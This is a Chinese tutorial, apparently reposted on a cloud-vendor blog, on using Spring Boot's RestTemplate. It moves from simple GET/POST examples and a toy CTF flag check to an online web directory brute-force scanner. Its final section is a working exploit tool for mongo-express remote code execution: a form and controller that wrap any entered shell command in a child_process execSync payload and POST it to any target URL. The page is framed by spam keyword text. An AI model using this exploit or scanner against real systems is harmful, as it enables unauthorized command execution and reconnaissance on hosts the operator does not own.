中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

java分布式基于RestTemplate怎么用

發布時間:2022-02-19 14:27:16 來源:億速云 閱讀:145 作者:小新 欄目:開發技術

這篇文章主要介紹了java分布式基于RestTemplate怎么用,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。

    1.前言

    最近在接觸到分布式方面知識的時候,學習了RestTemplate的一些使用。RestTemplate比較常見的就是用來進行一些http請求。小編在使用之后,在語法簡潔的同時,感覺非常的方便。

    于是乎在后面就想到了,通過RestTemplate來做成在線的"武器庫",會不會更方便呢。因為Springboot開發本來就比較簡單,而且在后期進行一些團隊協作的時候,用在線的平臺是不是相對于團隊更方便?避免了因為環境不一致而造成的問題。

    2.RestTemplate get請求及傳參

    2.1正常get請求不帶參

    首先來用一下正常不帶參的請求,既然要使用RestTemplate,那么肯定首先要new出來。之后使用rest.exchange進行請求。

    exchange參數說明如下:

    類型說明
    url請求路徑
    method請求的方法(GET、POST、PUT等)
    requestEntityHttpEntity對象,封裝了請求頭和請求體
    responseType返回數據類型
    uriVariables支持PathVariable類型的數據。

    參數1,2不做過多講解,參數3的話,在初始化HttpEntity的時候,就可以傳入一個自定義的headers。

    所以提前通過HttpHeaders headers = new HttpHeaders();

    進行設置headers并傳入即可。

    @RequestMapping("gettest")
    public @ResponseBody String param(){
    RestTemplate rest = new RestTemplate();
    HttpHeaders headers = new HttpHeaders();
    headers.set("user-agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36");
    
    String url = "http://127.0.0.1/t.php";
    ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>       (null,headers),String.class);
    
    String body = res.getBody();
    return body;
    }

    在上方的代碼中,請求的是一個php文件,而該php文件非常簡單,只是打印出user_agent。

    java分布式基于RestTemplate怎么用

    在打印出user_agent之后,ResponseEntity res這兒就接收到了回顯信息,最后在通過res.getBody();成功獲取到頁面的回顯數據

    2.2 get請求帶參使用

    了解完上面的無參get請求之后,接下來了解一下如何傳參?

    是不是感覺有點枯燥了?為此加了點CTF元素。代碼如下,只有當用戶傳參符合第四行的if判斷,才會進行輸出正確的flag

    java分布式基于RestTemplate怎么用

    傳參方式:

    這種也是最為常見的一種,就是使用參數接收,是不是感覺和上方無參get方式的代碼非常相似?下方形參agent和value就是在網頁中的參數名(PS:學過springboot的小伙伴應該都知道)。之后將agent設置到headers里面,而value進行了拼接到**t.php?value= **后面進行當做參數值傳入

    public @ResponseBody String param(**String agent,String value**){
            RestTemplate rest = new RestTemplate();
            HttpHeaders headers = new HttpHeaders();
            headers.set("user-agent",**agent**);
            String url = "http://127.0.0.1/t.php?value="+**value**;
            ResponseEntity<String> res = rest.exchange(url, HttpMethod.GET,new HttpEntity<>(null,headers),String.class);
            String body = res.getBody();
            return body;
        }

    最后進行測試一下,成功進行傳參獲取到了“flag”

    java分布式基于RestTemplate怎么用

    2.3 編寫在線目錄掃描腳本

    既然玩轉了get請求之后,那就來做一個目錄掃描的小功能吧。畢竟學以致用。

    整體實現流程如下,采用springboot,并整合mybatis。這里沒有寫Service層,因為畢竟都是初步實現而已。

    而最為顯著的一個優點就是:站點目錄都會存入到數據庫中,這就在后期發展中避免了字典少,不夠用的問題。因為團隊成員都可以將自己的字典存入到該數據庫中。

    java分布式基于RestTemplate怎么用

    首先準備好數據庫和一些"字典",測試階段,本人自己就手動添加了幾個。后續如果字典龐大,可自己寫個小腳本導入到數據庫即可。

    java分布式基于RestTemplate怎么用

    數據庫準備好之后,就可以進行整合mybatis了。這里pom文件需要加載mybatis和mysql的依賴。

    目錄結構如下:一個Controller,一個mapper和xml配置文件,以及一個用來存儲的類

    java分布式基于RestTemplate怎么用

    application主配置文件,主要用來寫一些數據庫配置

    server.port=8081
    spring.datasource.username=root
    spring.datasource.password=root
    spring.datasource.url=jdbc:mysql://localhost:3306/tance?useSSL=false&useUnicode=true&characterEncoding=utf-8
    mybatis.mapper-locations=classpath:Mapper/*.xml

    Mapper代碼如下,記得要加上@Mapper注解

    @Mapper
    public interface MuluMapper {
        List<catalogue> selectAll();
    }

    Mapper.xml配置,用來查詢數據庫中的 “字典”

    <?xml version="1.0" encoding="UTF-8" ?>
    <!DOCTYPE mapper
            PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN"
            "http://mybatis.org/dtd/mybatis-3-mapper.dtd">
    <mapper namespace="com.example.restclien.Dao.MuluMapper">
    <select id="selectAll" resultType="com.example.restclien.Dao.catalogue">
            select * from catalogue
        </select>
    </mapper>

    既然配置好之后,那就開始實現重要功能點了!代碼簡單講解一下:首先通過@Autowired把mapper自動注入。

    之后 List<catalogue> list = muluMapper.selectAll();

    會到mapper.xml中執行select查詢語句,并將其保存到List集合中。最后到for循環中進行循環遍歷過程中,將url與獲取的數據庫中的name字段內容拼接保存到temp這個臨時變量。

    舉個例子:

    用戶輸入url為http://127.0.0.1

    name字段第一個內容為:admin

    那么最終 temp=http://127.0.0.1/admin

    拼接完成之后,通過exchange訪問,最終res.getStatusCodeValue()獲取響應碼,為200的話,就判定該文件存在。(PS:這里判斷的比較潦草,比如403等情況沒有進行判斷)

    @RestController
    public class MapperController {
        @Autowired
        MuluMapper muluMapper;
        @RequestMapping("/tance")
        public String tance(String url) {
            RestTemplate rest = new RestTemplate();
            HttpHeaders headers = new HttpHeaders();
            List<String> lists = new ArrayList<>();
            headers.set("user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36");
            List<catalogue> list = muluMapper.selectAll();
            if(!url.endsWith("/")){
                url+="/";
            }
    
            for (catalogue tance : list) {
                String temp = url+tance.getName();
                try{
                    ResponseEntity<String> res = rest.exchange(temp, HttpMethod.GET,new HttpEntity<>(null,headers),String.class);
                    lists.add("目錄存在:"+temp+" 響應狀態碼為:"+res.getStatusCodeValue());
                }catch(Exception e){
                    e.printStackTrace();
                }
    
            }
            return lists.toString();
        }
    }

    看一下最終成品吧,成功實現一款簡易的在線web目錄掃描

    java分布式基于RestTemplate怎么用

    java分布式基于RestTemplate怎么用

    3.RestTemplate post請求

    3.1 post請求玩法

    有了上面的思路之后,post也類似。那么為了防止大家感覺枯燥,繼續來玩這道"CTF"

    php的代碼沒有太大變動,只是請求換成了post

    java分布式基于RestTemplate怎么用

    RestTemplate代碼如下:傳參將agent設置到headers里面,而value添加到了LinkedMultiValueMap中,可以理解為這個LinkedMultiValueMap就是用來存儲post要提交的數據,而最后這個稍作不同的是,用的restTemplate.postForEntity()進行post提交數據即可,與get是非常類似的。

    @RequestMapping("/Post01")
        public @ResponseBody
        String Post01(String agent,String value){
            RestTemplate restTemplate = new RestTemplate();
            HttpHeaders headers = new HttpHeaders();
            headers.set("user-agent",agent);
            String url = "http://127.0.0.1/t.php";
            LinkedMultiValueMap params = new LinkedMultiValueMap();
            params.add("value",value);
            ResponseEntity<String> str = restTemplate.postForEntity(url,new HttpEntity<>(params,headers),String.class);
            return str.getBody();
        }

    最后傳參即可,dong的一下,“flag”也就出現了

    3.2 mongo-express 遠程代碼執行漏洞腳本編寫

    靶場安裝直接去vulhub下載即可。安裝過程很簡單,啟動之后

    java分布式基于RestTemplate怎么用

    漏洞利用過程更為簡單execSync中輸入要執行的命令即可。返回Valid表示執行成功了。

    java分布式基于RestTemplate怎么用

    之后前往docker查看即可,發現成功創建1.txt

    java分布式基于RestTemplate怎么用

    接下來編寫利用腳本

    先準備一個比較丑的前端頁面,存到static目錄中,這是Springboot默認存放靜態資源的地方。

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <title>mongo-express 遠程代碼執行漏洞</title>
    </head>
    <body>
    <form action="/exec" method="post">
        請輸入漏洞URL:<input type="text" name="url"/><br/>
        請輸入要執行的命令:<input type="text" name="command"/>
        <input type="submit" value="提交">
    </form>
    </body>
    </html>

    Controller編寫思路,首先可以看到action提交到了exec,所以RequestMapping寫成exec即可,參數的話,一個url用來接收url地址的,一個command用來接收命令。

    java分布式基于RestTemplate怎么用

    完整Controller如下,筆者帶你進一步分析:在paramMap.add語句中,可以看到對輸入進來command進行了拼接,假設筆者這里輸入的為“ls”,從而構成了如下數據

    document=this.constructor.constructor(“return process”)().mainModule.require(“child_process”).execSync(“ls”)

    最后使用的exchange方法進行的POST提交,提交的URL為筆者傳入的,而command傳入并拼接進去之后,數據最終存到了httpEntity中,,而這里的參數就不做過多講解,因為有了前面的基礎,應該都能一看懂什么意思。

    @RequestMapping("/exec")
        public @ResponseBody String Post01(String url,String command){
            RestTemplate restTemplate = new RestTemplate();
            HttpHeaders headers = new HttpHeaders();
            headers.set("user-agent", "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)");
            MultiValueMap<String, String> paramMap = new LinkedMultiValueMap<String, String>();
            paramMap.add("document", "this.constructor.constructor(\"return process\")().mainModule.require(\"child_process\").execSync("+"\""+command+"\""+")");
            HttpEntity<MultiValueMap<String, String>> httpEntity = new HttpEntity<MultiValueMap<String, String>>(paramMap,headers);
            ResponseEntity<String> response = null;
            try {
                response = restTemplate.exchange(url,HttpMethod.POST,httpEntity, String.class);
            }catch(NullPointerException e){
                e.printStackTrace();
            }
            return response.getBody();
        }

    最終測試過程,編寫腳本利用成功

    java分布式基于RestTemplate怎么用

    java分布式基于RestTemplate怎么用

    java分布式基于RestTemplate怎么用

    感謝你能夠認真閱讀完這篇文章,希望小編分享的“java分布式基于RestTemplate怎么用”這篇文章對大家有幫助,同時也希望大家多多支持億速云,關注億速云行業資訊頻道,更多相關知識等著你來學習!

    向AI問一下細節

    免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

    AI

    德清县| 区。| 孝感市| 平南县| 柘荣县| 土默特左旗| 平顶山市| 宿松县| 宁蒗| 玉林市| 山阴县| 柳州市| 河东区| 林州市| 清镇市| 甘南县| 灵川县| 沙田区| 四平市| 沐川县| 雷波县| 封开县| 林周县| 万源市| 红原县| 枣阳市| 安远县| 杭锦旗| 丰原市| 祁阳县| 郸城县| 辉县市| 朝阳县| 米脂县| 公主岭市| 苗栗市| 德安县| 曲周县| 腾冲县| 含山县| 图片|